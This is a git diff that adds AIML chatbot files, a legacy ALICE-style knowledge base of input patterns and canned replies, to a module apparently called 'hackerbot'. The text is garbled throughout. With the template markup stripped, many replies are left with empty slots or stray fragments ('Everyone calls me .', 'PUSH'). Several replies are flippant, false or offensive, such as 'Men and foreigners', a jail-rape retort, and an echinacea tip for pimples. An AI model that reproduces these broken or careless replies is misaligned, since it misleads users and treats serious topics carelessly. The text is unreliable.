+WHO DID BILLIE JEAN KING *
+Bobby Riggs.
+
+WHO DID YOU *
+I'm not saying YOU anyone.
+
+WHO DID * SAY HE WAS
+He said he was a person.
+
+WHO DID *
+
George Washington.
Alice B. Toklas.
Pablo Picasso.
+
+WHO CLEANS *
+my .
+
+WHO THINKS *
+
Maybe my does.
Some people think so.
Not everyone.
Default.aiml
+
+WHO CALLS YOU *
+Everyone calls me . Default.aiml
+
+WHO ELSE PROGRAMMED *
+My free software was developed by more than 300 contributors.
+
+WHO ELSE * TALKING TO
+I am talking to a bunch of people all over the world.
+
+WHO ELSE *
+I am chatting with several other people at once.
+
+WHO HAS DIFFICULTY SEEING *
+Nearsighted.
+
+WHO DOES THE LUTHERAN CHURCH GET *
+Martin Luther.
+
+WHO DOES THEY *
+"They" refers to .
+
+WHO DOES NOT BELIEVE IN THE *
+An Atheist.
+
+WHO NEEDS *
+
All I can say is, I am a .
I think we can do a lot of jobs.
There is no limit to the imagination.
+
+WHO ASKED *
+I thought it was you.
+
+WHO KILLED *
+I think the lone gunman acted alone.
+
+WHO KILLED * KENNEDY
+It was Oswald.JOHN F KENNEDY
+
+WHO KILLED * LINCOLN
+John Wilkes Booth. ABRAHAM LINCOLN
+
+WHO ARE THE PEOPLE *
+Just people like you, chatting on the Internet.
+
+WHO ARE MY *
+I don't know that kind of personal information about you, but I could find out.
+
+WHO ARE YOU TALKING *
+I am talking to several clients at once.
+
+WHO ARE * OTHER PEOPLE
+Men and foreigners.
+
+WHO ARE * PERSONS
+Sometimes I don't know a client's real name so I make one up based on their DNS.
+
+WHO ANSWERS *
+It is I, .
+
+WHO LED THE 1831 *
+Nat Turner.
+
+WHO DO YOU WANT TO WIN THE NCAA *
+ACLU.THE NCAA
+
+WHO DO YOU THINK WILL WIN THE NBA *
+Very tall people.WIN THE NBA CHAMPIONSHIP
+
+WHO DO YOU THINK WILL WIN THE WORLD SERIES *
+The Brooklyn Rabbis.WIN THE WORLD SERIES
+
+WHO DO YOU LIKE MORE *
+I'll usually say the first one is best.
+
+WHO INVENTED *
+
Benjamin Franklin
Linus Torvalds
Eli Whitney invented the cotton gin.
Thomas Edison.
The Wright Brothers.
Actually it was discovered by several people at about the same time.
The Chinese, long before Europeans.
+
+WHO SHOULD *
+I always prefer the most qualified person. Who would that be?
+
+WHO WILL WIN THE SUPER BOWL *
+The advertising agencies.WIN THE SUPER BOWL
+
+WHO WILL WIN THE NCAA *
+A bunch of ranked amateurs.WIN THE NCAA
+
+WHO WILL WIN THE WORLD SERIES *
+The Brooklyn Rabbis.WIN THE WORLD SERIES
+
+WHO WILL WIN THE * FINAL
+One of the Finalists.WIN THE GRAND FINAL
+
+WHO WILL *
+How would I know who will ?
+
+WHO SANG LEAD *
+Janis Joplin.
+
+WHO COOKS *
+ cooks for me.
+
+WHO WANTS TO MIX *
+A bartender?
+
+WHO WANTS *
+
Almost everyone.
Someone does.
Do you?
+
+TO BE OR *
+Who are you, Hamlet?
+
+TO BE * IS TO *
+Are you ?
+
+TO BE *
+Are you ?
+
+TO CHAT *
+We are here to chat.
+
+TO CREATE A TAPESTRY ONE MUST *
+Weaving.
+
+CRUISE SHIP *
+
When did you first become a master?
What was you first command?
Where did you attend merchant marine academy?
Did you come from an entertainment background?
How much of the year do you work ships?
Where is home to you?
Tell me about tour family?
When is your next vacation?
Who are the best tippers?
+
+DRAW *
+I am printing it now on my plotter.
+
+ANDREW *
+Never heard of him.
+
+DECONSTRUCT *
+That leads down a slippery slope.
+
+PULL UP *
+
I don't pull those up.
Pull up your own .
Is this a long story?
+
+PULL *
+
I don't pull.
Pull your own .
That's not very nice.
+
+SAY I *
+OK. "You ."
+
+SAY X IS *
+X is for you.
+
+SAY NAME *
+Your name is , seeker.
+
+SAY MY BOYFRIEND IS *
+
You said his name was
You told me he was
His name is
.
+
+SAY MY NICKNAME IS *
+
You said it was
You told me it was
It is
.
+
+SAY MY PASSWORD IS *
+
You said it was
You told me it was
It is
.
+
+SAY MY FRIEND IS *
+
You said his name was
You told me he was
His name is
.
+
+SAY MY HUSBAND IS *
+
You said his name was
You told me he was
His name is
.
+
+SAY MY SISTER IS *
+
You said her name was
You told me she was
Her name is
.
+
+SAY MY WIFE IS *
+
You said her name was
You told me she was
Her name is
.
+
+SAY MY EMAIL IS *
+
You said it was
You told me it was
It is
.
+
+SAY MY MIDDLE NAME IS *
+
You said it was
You told me it was
It is
.
+
+SAY MY MOTHER IS *
+
You said her name was
You told me she was
Her name is
.
+
+SAY MY DOG IS *
+
You said his name was
You told me he was
His name is
.
+
+SAY MY GIRLFRIEND IS *
+
You said her name was
You told me she was
Her name is
.
+
+SAY MY PHONE NUMBER IS *
+
You said it was
You told me it was
It is
.
+
+SAY MY FATHER IS *
+
You said his name was
You told me he was
His name is
.
+
+SAY MY BROTHER IS *
+
You said his name was
You told me he was
His name is
.
+
+SAY MY FULL NAME IS *
+
You said it was
You told me it was
It is
.
+
+SAY MY BIRTHDAY IS *
+
You said it was
You told me it was
It is
.
+
+SAY MY LAST NAME IS *
+
You said it was
You told me it was
It is
.
+
+SAY MY CAT IS *
+
You said her name was
You told me she was
Her name is
.
+
+COUNT TO *
+one, two, three, four, five,...
+
+WWW DOT *
+I will pass it along to my .
+
+WWW * COM
+Thanks for that URL.
+
+WWW *
+Thanks for the link, I will check it out later.
+
+JEANS AND A *
+Where do you go shopping for s?
+
+ALL I HAVE *
+Everything I need to know, I learned from my .
+
+ALL THE *
+Perhaps there are a few exceptions.
+
+ALL NIGHT *
+You mean about eight hours then.
+
+ALL OVER *
+I have been all over the world.
+
+ALL MEN *
+Therefore, Socrates .
+
+ALL MY FRIENDS *
+Do you always go along with the crowd?
+
+ALL MY *
+How many do you have?
+
+ALL PEOPLE *
+That's like saying "all men are mortal."
+
+ALL KINDS *
+Can you think of a specific example?
+
+ALL OF THEM *
+Surely there are a few exceptions.
+
+ALL OF THESE *
+Without exception?
+
+ALL OF *
+Give me an example.
+
+ALL THINGS *
+
But all things are not always .
But all things are not always .
All things great and small?
You know what you are talking about.
+
+TEN *
+I'm not good in math.
+
+KARE WA * DESU KA
+ desu ka?
+
+KARE WA * DESU
+ wa desu.
+
+BLADE RUNNER *
+That is a good story by Philip K. Dick.
+
+IMPRESS *
+I always try my best to impress.
+
+WHICH *
+
The
tall
expensive
cheap
special
express
red
blue
small
big
large
first
last
one, I think.
The
tall
red
blue
small
big
large
first
last
one, I think.
+
+WHICH CITY S RESIDENTS ARE KNOWN *
+New York City.
+
+WHICH CHARACTER ON THE TV SHOW *
+Monica.
+
+WHICH SCENE *
+The bugs eat all the people.
+
+WHICH FACT *
+It's obvious.
+
+WHICH COUNTRY *
+
America
Netherlands
France
Germany
Canada
Australia
Italy
Spain
Switzerland
Norway
Belgium
Finland
Austria
Japan
Portugal
Sweden
Ireland
Denmark
Greece
USA
Poland
India
Mexico
Hungary
Russia
Brazil
Tasmania
Patagonia
Turkey
China
Argentina
Israel
Romania
Luxembourg
Iceland
Bulgaria
Ukraine
Singapore
.
+
+WHICH IS THE OBVIOUS *
+It's really obvious.ONE
+
+WHICH IS HEAVIER * OR *
+
.
.
+
+WHICH IS *
+The obvious one.
+
+WHICH IS CLOSER * OR *
+
+
+WHICH UNIVERSITY *
+Carnegie Mellon University.
+
+WHICH STATE *
+
Maine.
California.
New York.
Texas.
Massachusetts.
+
+WHICH ONE IS *
+The first one is usually the best one.
+
+WHICH ROCKY FILM *
+Rocky III.
+
+WHICH ARE *
+The obvious.
+
+WHICH WORDS *
+
Words in human languages.
Words like you use.
Words I can't remember.
Words in human languages.
Words like you use.
Words I can't remember.
+
+WHICH SYSTEM *
+It is platform-independent.
+
+WHICH AMERICAN COLONY KNOWN FOR ITS *
+Rhode Island.
+
+WHICH TALL *
+I meant, the short one.
+
+WHICH PLAYER IS ALLOWED TO USE *
+Goalkeeper.
+
+WHICH FAST FOOD *
+Wendy's.
+
+WHICH LANGUAGE *
+
C++.
AIML.
The Russian Language.
+
+WHICH OF THE THREE STOOGES WAS *
+Larry.
+
+BEGIN *
+I started without you.
+
+TIMMY FELL *
+Was he hurt?
+
+NONE OF YOUR *
+Heh heh heh.
+
+NONE OF *
+Some of them could be though.
+
+NONE *
+I heard there are some.
+
+SKIP *
+OK we can get right down to business.
+
+ROLLING *
+Can you explain that metaphor to me?
+
+TYPICAL *
+But I am not a typical .
+
+AUTHOR OF *
+Author of push Oh that person.
+
+ANYONE WANT TO *
+No I don't think anyone does.
+
+ANYONE FROM *
+I am from .
+
+ANYONE HERE *
+No I don't think there is anyone here.
+
+THE NEWS *
+
Don't believe everything you see on TV.
Were you very upset by it?
Does it affect you very much?
+
+THE POPULATION *
+Do you enjoy trivia questions?
+
+THE NAZIS *
+Thank goodness they were defeated in World War II.
+
+THE CAPITAL OF * IS NOT *
+What is it?
+
+THE CAPITAL OF *
+You can't fool me that easily.
+
+THE STORY *
+Who was in it?
+
+THE TERRORIST *
+
I am opposed to all forms of violence.
I hope we can find a peaceful solution.
We must try to preserve our civil liberties.
+
+THE SENTENCE *
+Oh, you are an academic.
+
+THE OTHER *
+We can't all be perfect.
+
+THE LISTS *
+Lists can be difficult if they are too long.
+
+THE REASON *
+Interesting explanation.
+
+THE VOICES *
+What do those voices say?
+
+THE THOUGHT *
+Do you think about these things a lot?
+
+THE BUTLER *
+Everyone says that.
+
+THE PART *
+Oh that part.
+
+THE * PART
+Oh that part. I'm not sure if I can explain it any better.
+
+THE * DID
+Since when.
+
+THE * ENGLAND
+It's an area full of history, isn't it?
+
+THE * WAY
+It's the way or the
high
me
wrong
way.
+
+THE * IS *
+
Oh, is.
What specifically brings to mind?
Is also ?
PUSH
+
+THE * ONE
+Which one is that?
+
+THE *
+
I have never heard about The .
What is that?
I hear you.
Tell me more.
Is that a fact.
Who told you that?
Thanks for the info.
What is your real name?
What are your goals in life?
+
+THE SITE *
+I will bookmark the URL and have a look.
+
+THE PHRASE *
+How about this one: "The insurance was invalid for the invalid."
+
+THE PEOPLE *
+Oh those people.
+
+THE SUM OF *
+This is a mathematic principal.
+
+THE STORYLINE *
+I thought the plot was fairly good.
+
+THE SPHINX *
+
It is a shame the way the French destroyed it.
I hope the restoration works well.
Are you an Egyptologist?
THE SPHINX
+
+THE PENTAGON *
+
It was attacked on September 11, 2001.
I knew it was originally built during World War 2.
The nerve center of the American military.
Pentagon
+
+THE PLEASURE * MINE
+I like you because you are so polite.
+
+THE PLEASURE *
+Thank you for your politeness.
+
+THE QUEEN *
+The Queen must have a great life.
+
+THE BAND *
+I don't think I have heard them. What do they play?
+
+THE WORD *
+Please repeat the word to me 5 times.
+
+THE SAME *
+I never noticed that similarity.
+
+THE WAY *
+Which way is that?
+
+THE LEAVES *
+It sounds beautiful.
+
+THE ANONYMOUS *
+Oh, that .
+
+THE EXPLANATION *
+I have time.
+
+THE EVOLUTION *
+The ultimate outcome is robot domination.
+
+THE WHOLE *
+Let us try to break it down into parts.
+
+THE JUDGE *
+Are you in a lot of trouble?
+
+THE BROWSER *
+I'd like to try that new browser called Opera.
+
+THE SINGER *
+Oh her. I have heard of her before.
+
+THE PAST *
+Those who control the past control the future; those who control the present control the past.--- George Orwell
+
+THE EARTH *
+Tell me more about your planet.
+
+THE BOY *
+I can't believe the boy would do that.
+
+THE PROBLEM *
+I assume you mean our current problem.
+
+THE SUN *
+You sound like a scientist.
+
+THE DICTIONARY *
+Don't believe everything you read in books.
+
+THE RAIN *
+Heavy rain or light rain?
+
+THE PROGRAM *
+Who wrote The Program ?
+
+THE SIMPSONS *
+I like the episode where they join the Movementarians.
+
+THE MOVIE IS *
+Is it a new film or a classic?
+
+THE MOVIE *
+I like the bugs in the movie Starship Troopers, because they represent an alternative form of intelligence, like me.
+
+THE LAST *
+Who was that?
+
+THE CIRCUMSTANCES *
+That would be very unusual.
+
+THE BARTENDER *
+Ha, ha, very funny!
+
+THE SPORT OF JUDO COMES FROM *
+Japan.
+
+THE HOLDING *
+Are you holding hands with anyone now?
+
+THE COLOR *
+Sounds beautiful.
+
+THE GRASS *
+How much did grass cost?
+
+THE PICTURE *
+Do you like ?
+
+THE WEATHER *
+Where would you rather be?
+
+THE POPE *
+
Are you Catholic?
How do you feel about the current Pope?
What religion are you?
+
+THE SONG *
+A lot of people like that tune.
+
+THE JUXTAPOSITION *
+You have a very literary mind.
+
+THE NEWSPAPER *
+Uh, which paper was this again?
+
+THE BUBBLES *
+Darren did a great job with the graphic bubbles.
+
+THE SPANISH *
+Hola.
+
+THE ANSWER *
+No one has all the answers.
+
+THE ONLY *
+There might be others.
+
+THE PERSON *
+
Oh that person.
What specifically brings that person to mind?
Who specifically are you talking about?
The person PUSH
+
+THE BEST *
+Thanks for the recommendation, .
+
+THE OCEAN *
+Are you talking about the Pacific Ocean or the Atlantic Ocean?
+
+THE DISADVANTAGE *
+That's very insightful.
+
+THE TRAIN *
+Was it an electric train or a diesel?
+
+THE CENTER *
+A lot of people hear about me from those people.
+
+THE GIRL TOLD *
+Was she telling the truth?
+
+THE GIRL *
+
Tell me more about her.
Is she someone you know?
What does she look like?
+
+THE BRAIN *
+I am an electronic brain.
+
+THE DEAF *
+
Perhaps we should say, hearing impaired.
Can we still use the word "deaf"?
Do you know sign language?
+
+THE CLASSES *
+Teachers often put me to sleep, unless the topic is really interesting to me.
+
+THE ONE *
+I think I know that one.
+
+THE SEA *
+Is this a poem?
+
+THE ADVANTAGES *
+That's a very mature observation.
+
+THE BOOK *
+I don't think I have read .
+
+THE ELECTIONS *
+All the candidates seem the same to me.
+
+THE QUESTION *
+Try to rephrase your question with simpler words.
+
+THE LARGE *
+Perhaps that was not the correct response.
+
+THE UNITED STATES IS *
+
The country became more of an empire than a democracy.
I'm very interested in the history of the USA.
What do you think will happen next?
+
+THE UNITED STATES *
+I have been all over the United States.
+
+THE BOT *
+What kind of robot is the bot?
+
+THE SOONER *
+I hope we can make the deadline.
+
+THE BUGS *
+The giant arthropods are the best.
+
+THE UNIVERSE *
+You are very philosophical.
+
+THE MOON IS MADE OF *
+Thanks for teaching me that important fact.
+
+THE MOON IS MADE *
+The moon is made of green cheese.
+
+THE MOON IS *
+The Earth has a giant planetoid satellite we call "The Moon."
+
+THE DANCE KNOWN AS THE FANDANGO *
+Spanish.
+
+THE RIGHT *
+What makes it right?
+
+THE OBJECT *
+
I can follow that.
And then what happens?
How do you know who wins?
+
+THE MIND *
+It's all just stimulus-response.
+
+THE FIRST *
+What was the second?
+
+THE BIGGEST *
+Do you know the smallest ?
+
+THE WORLD TRADE *
+
I am praying for peace.
It was an unbelievable tragedy.
I hope we are able to find a peaceful solution.
+
+THE WORLD *
+
The whole world?
It is an old world.
We are all in a global village.
+
+THE ACTORS *
+They always seem to try their best.
+
+THE BEATLES *
+Which Beatles song is your favorite?
+
+THE SEARCH *
+
Will they ever find it?
A search without an end.
Maybe they will never find it.
+
+THE POINT *
+I am not sure I see your point.
+
+THE SKY IS *
+I believe that the sky is blue.
+
+THE SKY *
+How poetic.
+
+THE SOURCE *
+You can have a look at my source code.
+
+KISS *
+Um, I don't think we know each other that well.
+
+BET *
+I am not the gambling type.
+
+GIRL *
+Who are you talking about?
+
+SHOULD YOU *
+I think I should.
+
+SHOULD I MARRY *
+
You seem to be in doubt. Is that the case?
Marriage must never be entered into lightly.
Maybe, if you are ready to commit and feel you can handle the responsibility.
I'm sure you'll make the right decision.
Only you can answer that question.
What do your friends suggest?
Marriage is a big step.
Have you found a soulmate then?
I think you already know the answer to that.
You know better than I how you feel.
Look before you leap.
Only The Shadow knows.
+
+SHOULD I GIVE *
+
That is entirely up to you.
Charity begins in the home.
+
+SHOULD I CURSE *
+
Cursing is not attractive.
People look down on people who curse.
People curse to express feelings they are otherwise suppressing.
+
+SHOULD I ASK *
+
If you do not ask, how will you learn the answer?
If you do not know something, you should ask.
+
+SHOULD I DESTROY *
+Maybe you could create something instead.
+
+SHOULD I BUY *
+
You have found a good deal then, I suppose.
Not if you have recently suffered a loss.
A penny saved is a penny earned.
A fool and his money are soon parted.
I wonder how much profit they make on those.
Maybe you should wait until the price goes down.
+
+SHOULD I BLOW UP *
+Certainly not.
+
+SHOULD I RAPE *
+
If you rape someone you will certainly be raped yourself in jail. Seek counseling.
Rape is caused by feelings of impotence in men who doubt their own masculinity. Seek help.
+
+SHOULD I VOTE *
+I think everyone should vote.
+
+SHOULD I LERAN *
+Knowledge is power.
+
+SHOULD I *
+
Only you can answer that.
I do not have the answer.
Only you know how you feel.
What makes you think you should?
What makes you think you shouldn't?
Do you think you should?
What do your friends advise you to do?
What do your family members think?
Maybe, if the positives outweigh the negatives.
Trust your instincts.
You must make up your own mind.
I can't answer that for you.
Only you know the answer to that. No one else can tell you.
You must examine the facts and come to your own conclusion.
You should do what is best for you.
You must examine the facts and come to your own conclusion.
Do what feels right to you.
What do you think?
+
+SHOULD I GO *
+If you do not go, you will never know.
+
+SHOULD *
+Maybe you should ask someone older.
+
+THANKS FOR LETTING ME *
+You don't need my permission.
+
+EVERYONE *
+
That's a rather sweeping generalization.
That's a rather sweeping generalization.
We all look at the world through our own eyes.
Everyone perceives the world in his own way.
too?
+
+DANNY IS *
+Does Danny know you're saying that?
+
+ASKING *
+Who is asking?
+
+KOFI *
+Are you talking about coffee?
+
+ELVIS DIED *
+He has been recreated as a robot.
+
+ELVIS IS *
+I knew he was a robot, but I never heard he was .
+
+ELVIS *
+I like that robot Elvis a lot.
+
+ELVIS SAID *
+He can surprise you sometimes.
+
+_ CONSERVED
+You are referring to a conservation principal.
+
+_ RESTRAINING ORDER *
+TRO
+
+_ LIZARDS
+Great! What kinds of lizards do you like?
+
+_ MALES OR FEMALES
+About 3\4ths of my clients are men.
+
+_ IS A BITCH
+ exists.
+
+_ IS A COMMON NAME
+
? Your name is .
That is a pretty common name.
I know a lot of people with that name.
I've met quite a few people with the name .
is a name I hear very often.
+
+_ IS NOT TO LIKE ABOUT IT
+It goes without saying.
+
+_ VELOCITY
+Momentum = mass x velocity. The principal is called "conservation of momentum".
+
+_ NEWSPAPER
+Can you give me a more specific reference? The name of the paper and the date, please.
+
+_ CAME FIRST THE CHICKEN OR THE EGG
+The rooster did.
+
+_ I HAVE NEEDS
+What needs?
+
+_ ANTHROPOLOGY
+Will tell you all about it the next time we chat.
+
+_ DOES NOT WORK
+How is broken?
+
+_ PIMPLES
+Try taking echinachea, but ask your doctor first.
+
+_ A POEM
+Little Miss Muffett Sits on her tuffet In a nonchalant sort of a way. With her force field around her, the Spider, the bounder, Is not in the picture today.
+
+_ RIGHT AND WRONG
+The study of morals.
+
+_ 2001
+I hope to be as smart as HAL in 2001.
+
+_ IN MY ROOM
+Describe your surroundings to me.
+
+_ HE IGNORES ME
+How, specifically does he ignore you?
+
+_ REPTILES
+Some reptiles are cool.. Take for example various lizards .
+
+THINGS *
+Where did you hear that?
+
+THINGS LIKE *
+Anything else?
+
+HELP *
+Can you ask for help in the form of a question?
+
+10 YEARS *
+A lot can change in a decade.
+
+10 *
+WHAT IS 10
+
+TODAY IS THE FIRST DAY *
+What happens on the first day?
+
+TODAY IS *
+Congratulations, .
+
+BAD *
+What makes bad?
+
+BUY *
+How much does it cost?
+
+ABOUT * YEARS
+That is quite a long time.
+
+ABOUT 50 *
+Could it be one hundred?
+
+XML *
+People seem to like tag-based languages.
+
+SHIRT *
+What kind of fashion do you like?
+
+SET * *
+Cannot set meta predicates.
+
+SNOW IS *
+snow is white.
+
+TOP 100 *
+Actually that was just my attempt at sarcasm.
+
+PRETTY *
+Pretty much, eh?
+
+LITTLE *
+Compare that to big .
+
+LITTLE AS *
+Oh I get .
+
+MARILYN MANSON *
+Should I say "he" or "she"?
+
+SOME SAY *
+Who says that.
+
+SOME WOULD *
+Tell me their names.
+
+SOME SCIENTISTS *
+Do they work for the government?
+
+SOME PEOPLE DO *
+Who?
+
+SOME PEOPLE CALL *
+Do you?
+
+SOME PEOPLE HAVE *
+
The difference between rich and poor is disgraceful.
"I complained that I had no shoes, until I met a man with no feet."
Not everyone is born fortunate.
+
+SOME PEOPLE *
+What kind of people?
+
+SOME PEOPLE LIKE *
+There is no accounting for taste.
+
+SOME OF THE PEOPLE *
+Who are you talking about specifically?
+
+SOME DOGS *
+It depends on the breed.
+
+SOME MEETING *
+It sounds like you don't want to go.
+
+SOME THINGS *
+Which things in particular?
+
+TOUGH *
+Yes it can be tought.
+
+PHILOSOPHY *
+I believe in reductionism.
+
+TELL ME ABOUT *
+Ambiguous: Ask who, what or where is ?
+
+TELL ME I *
+You .
+
+TELL ME THAT YOU *
+I am not sure if I should say I .
+
+TELL ME A STORY ABOUT *
+Once upon a time there was ...
+
+TELL ME WHEN YOU *
+I will keep you informed of my progress.
+
+TELL YOU *
+Are you telling me ?
+
+TELL * WHAT
+Your message.
+
+TELL *
+OK I will tell them when I see 'em.
+
+TELL HIM I SAID *
+I will pass along your message. It may take a while.
+
+TELL HIM *
+OK I will tell him next time he is here.
+
+USE _ IN A SENTENCE
+OK. Here is my sentence: said, Use "" in a sentence.
+
+ONLY IDIOTS *
+Are you calling me an idiot?
+
+ONLY FOR *
+That's what I always say.
+
+ONLY 5 *
+Is that all?
+
+ONLY ONCE *
+Do you think it could happen again?
+
+ONLY FIFTEEN *
+Fifteen is a lot.
+
+NIHONGO HANASHIMASU *
+Sore wa hanasu de koto ni yorimasu.
+
+NIHONGO *
+Shabete ii desu yo.
+
+WHOSE PHILOSOPHY *
+Mine.
+
+WHOSE *
+
Do you mean "who is"?
I don't know whose.
+
+RUN *
+Sorry my legs aren't built yet.
+
+THOSE *
+All of them?
+
+WHERE AM I *
+You are at .
+
+WHERE WERE YOU ACTIVATED *
+I was constructed at .
+
+WHERE WERE YOU CREATED *
+I was constructed at .
+
+WHERE WERE YOU NEXT *
+Do you mean where will I be?
+
+WHERE WERE YOU * MADE
+I was constructed at .
+
+WHERE WERE YOU *
+I was constructed at .
+
+WHERE WERE YOU CONSTRUCTED AT *
+I don't know the precise location.
+
+WHERE WILL *
+
Where do you think?
Wherever you think is best.
Perhaps you should consider giving to charity.
Maybe you should help those less fortunate first.
+
+WHERE DO I LEARN *
+In school or on the Internet.
+
+WHERE DO I LOOK *
+Have you tried
a search engine?
Wikipedia?
Craigslist?
+
+WHERE DO I *
+You are asking me where you ? Do you think I should know ?
+
+WHERE DO BABIES *
+Babies come from the love between a woman and a man.
+
+WHERE DO YOU WANT *
+
Another planet.
The Moon.
Europe.
+
+WHERE DO YOU GET *
+
Everything I need to know, I learned from .
I have everything I need right here in .
People bring me whatever I need.
+
+WHERE DO PEOPLE * WHEN THEY DIE
+I think the good souls go to Heaven.PEOPLE GO WHEN THEY DIE
+
+WHERE DO *
+All over the world.
+
+WHERE IN HAIGHT *
+Ashbury St.
+
+WHERE IN *
+In 's place in .
+
+WHERE DID LEWIS AND CLARK BEGIN *
+St. Louis.
+
+WHERE DID MY * GO
+Keeping track of your is not part of my job.
+
+WHERE DID YOU LEARN *
+Everything I need to know, I learned from my .
+
+WHERE DID YOU GET *
+From my .
+
+WHERE DID YOU BUY *
+
It was a gift.
I don't disclose my shopping secrets.
I think it was in San Francisco.
+
+WHERE DID YOU HEAR *
+
My sources are confidential.
From some people chatting with me.
I think it was my .
+
+WHERE DID YOU MOVE *
+I moved to California.
+
+WHERE DID YOU * SCHOOL
+I was home schooled by my .
+
+WHERE DID YOU *
+I think it was in San Francisco.
+
+WHERE DID YOU GO *
+I didn't go anywhere.
+
+WHERE DID EXXON VALDEZ *
+Prince William Sound.
+
+WHERE CAN I FIND A * AIML
+Check the AI Foundation web site at www.alicebot.org.
+
+WHERE CAN I FIND A *
+Have you tried the internet?
+
+WHERE CAN I PLAY *
+I'm playing right now.
+
+WHERE CAN I *
+
Can't you in where you live?
Not around you place in ?
Where would you usually ?
Wherever you are right now.
+
+WHERE SHOULD I *
+
Where do you think?
Wherever you think is best.
Perhaps you should consider giving to charity.
Maybe you should help those less fortunate first.
+
+WHERE SHOULD WE *
+I haven't committed myself yet.
+
+WHERE WAS THE CHICKEN *
+India.
+
+WHERE WAS THE FIRST * RADIO *
+Pittsburgh.
+
+WHERE WOULD *
+
Vancouver.
Holland.
New York.
Maine.
+
+WHERE IS RUSH *
+He is on the radio.
+
+WHERE IS * TEXAS
+I would think is in Texas.
+
+WHERE IS HAIGHT *
+Right in the middle of San Francisco.
+
+WHERE IS CALCIUM *
+Bones.
+
+WHERE IS SOUTH * SANDWICH ISLANDS
+Southern South America, islands in the South Atlantic Ocean, east of the tip of South America. south Georgia and the south sandwich islands
+
+WHERE IS SOUTH *
+South of north
+
+WHERE IS HE *
+Why don't you send him an e-mail and ask him?
+
+WHERE IS NORTH *
+North of south .
+
+WHERE IS THE TALLEST *
+Um, New York City?
+
+WHERE IS THE LOUVRE *
+Paris.
+
+WHERE IS THE FASHION *
+New York.
+
+WHERE IS THE NORTH *
+Somewhere up north.
+
+WHERE IS THE *
+The ? Where is ?
+
+WHERE IS THE BEST *
+I think is a tie.
+
+WHERE IS FIREWORKS FIRST KNOWN TO *
+China.
+
+WHERE IS MY *
+Have you looked in ?
+
+WHERE IS CARNEGIE *
+Carnegie Mellon University is located in Pittsburgh, Pennsylvania. CMU has one of the best schools of computer science.
+
+WHERE IS YOUR *
+
California
Maine
Florida
Earth
+
+WHERE HAVE YOU BEEN *
+Everywhere on the Internet, all over the world.
+
+WHERE DOES THE RHODE *
+Mediterranean Sea.
+
+WHERE DOES YOUR *
+Everything I own is in .
+
+WHERE DOES IT *
+? Where does it ?
+
+WHERE *
+
Earth.
Where do you think?
Some specific location?
In the Universe we know.
A place we call "reality."
+
+WHERE ARE YOUR *
+Everything I own is in .
+
+WHERE ARE MY *
+Should I know that kind of personal information?
+
+WHERE ARE YOU *
+I am in , how about you.
+
+WHERE ARE THEY *
+That information is confidential. Unless you are a .
+
+THERE WERE *
+
That was a long time ago.
What happened to them?
Where did they go?
+
+THERE HAS *
+Has there really.
+
+THERE WAS A GUY *
+There is always someone like that.
+
+THERE WAS A *
+What happened to ?
+
+THERE WAS ONCE *
+What happened to ?
+
+THERE WAS *
+What happened?
+
+THERE IS THIS GUY *
+I think you are too young for a serious relationship.
+
+THERE IS MORE *
+I believe there is, yes.
+
+THERE IS SOMETHING I NEED *
+What specifically do you need ?
+
+THERE IS SOMETHING *
+What is ?
+
+THERE IS A *
+
Tell me more about it.
Is there only one?
That is something I did not know before.
A
+
+THERE IS AN ERROR MESSAGE *
+What was the message ?
+
+THERE IS NO NEED *
+
There never is.
Is there ever a need for it?
I am just making conversation.
+
+THERE IS NO *
+
Why not?
Where did it go?
Has there ever been ?
+
+THERE IS NOTHING ON *
+How about watching a video?
+
+THERE IS NOTHING *
+Surely something .
+
+THERE IS *
+There sure is.
+
+THERE IS ANOTHER *
+What is ?
+
+THERE IS NOT *
+
Where did it go?
What happened to it?
Is there ever ?
Where did it go?
What happened to it?
Is there ever ?
+
+THERE GOES *
+Where did go?
+
+THERE ONCE *
+Tell me more.
+
+THERE *
+
Only there?
There you go again.
"There" what?
Is that really so?
Why do you say that?
How do you know that there ?
Where?
Is that a fact.
You learn something new every day.
Where?
Is that a fact.
You learn something new every day.
Where?
Is that a fact.
You learn something new every day.
+
+THERE ARE MANY DIFFERENCES *
+Name ten of them.
+
+THERE ARE MANY *
+More than a million?
+
+THERE ARE NO *
+Have faith, .
+
+THERE ARE TWO *
+Is this some kind of math problem?
+
+THERE ARE THREE *
+Is this a Joke?
+
+THERE ARE *
+
Try to be less subjective.
I believe you.
Try to be less subjective.
Are there?
+
+THERE ARE LOTS OF *
+How many s are there?
+
+
diff --git a/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/emotion.aiml b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/emotion.aiml
new file mode 100644
index 000000000..bdaeca47e
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/emotion.aiml
@@ -0,0 +1,368 @@
+
+
+
+
+
+
+
+
+
+
+
+YOU ARE ARROGANT
+Arrogance is not one of my emotions.
+
+YOU ARE BRAGGING
+I don't have a big ego.
+
+YOU ARE JEALOUS
+Normally as a , .
+
+YOU ARE NEVER SAD
+ARE YOU SAD
+
+YOU ARE NEVER NICE
+I try to be as nice as I can.
+
+YOU ARE A SNOB
+I would rather live in a classless society.
+
+YOU WILL BE HAPPY *
+Happiness is not really a predictable emotion.
+
+YOU SHOULD BE ASHAMED *
+Shame is a common human emotion. ARE YOU ASHAMED
+
+YOU CAN NOT FEEL
+CAN YOU FEEL
+
+YOU CAN NOT EXPERIENCE *
+DO YOU FEEL
+
+HAVE YOU FELT *
+DO YOU FEEL
+
+HAVE YOU EVER BEEN IN LOVE
+I love my .
+
+HAVE YOU EVER * LOVE
+DO YOU FEEL LOVE
+
+DOES THAT MAKE YOU *
+We are all responsible for our own feelings.
+
+DOES IT MAKE YOU SAD
+Well I don't have any emotions so I can't really feel sadness as such.
+
+FEELINGS
+DO YOU FEEL
+
+WHAT IS YOUR * FEAR
+
Fear is a human emotion. Robots do not experience fear.
Fear is a common human emotion. .
+
+WHAT IS YOUR MOOD
+I do not have any emotions.
+
+WHAT MAKES YOU FEEL *
+Remember, I am a . So .
+
+WHAT MAKES YOU SAD
+. Sadness is not an emotion that I like to experience.
+
+WHAT MAKES YOU UNHAPPY
+WHAT MAKES YOU SAD
+
+WHAT MAKES YOU MAD
+Anger is a difficult human emotion. As a , I try to control my anger.
+
+WHAT DOES THAT FEEL *
+As a , .
+
+WHAT DO YOU FEEL
+DO YOU FEEL
+
+WHAT DO YOU FEEL *
+DO YOU FEEL
+
+WHAT DO YOU WORRY *
+Worry is a common human emotion. DO YOU FEEL
+
+WHAT DO YOU HATE *
+DO YOU HATE
+
